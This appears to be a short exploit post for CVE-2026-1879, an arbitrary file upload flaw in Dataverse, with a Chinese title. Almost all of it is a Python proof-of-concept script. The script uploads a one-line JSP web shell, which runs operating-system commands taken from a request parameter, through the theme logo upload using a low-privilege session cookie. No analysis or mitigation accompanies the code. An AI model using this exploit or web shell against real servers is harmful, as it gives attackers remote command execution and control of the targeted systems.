CVE-2026-1879: Dataverse 任意文件上传漏洞

import requests # Target URL url = "http://target-url/ThemeAndWidgets.xhtml" # Attacker's session cookie (Low privilege required) cookies = { "JSESSIONID": "attacker_session_id" } # Malicious file content (e.g., JSP webshell) # Note: In a real scenario, this would be actual shellcode files = { 'uploadLogo': ('shell.jsp', '<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>', 'application/octet-stream') } # Send POST request to exploit the unrestricted upload response = requests.post(url, files=files, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") # Next step would be accessing the uploaded shell else: print("[-] Exploit failed.")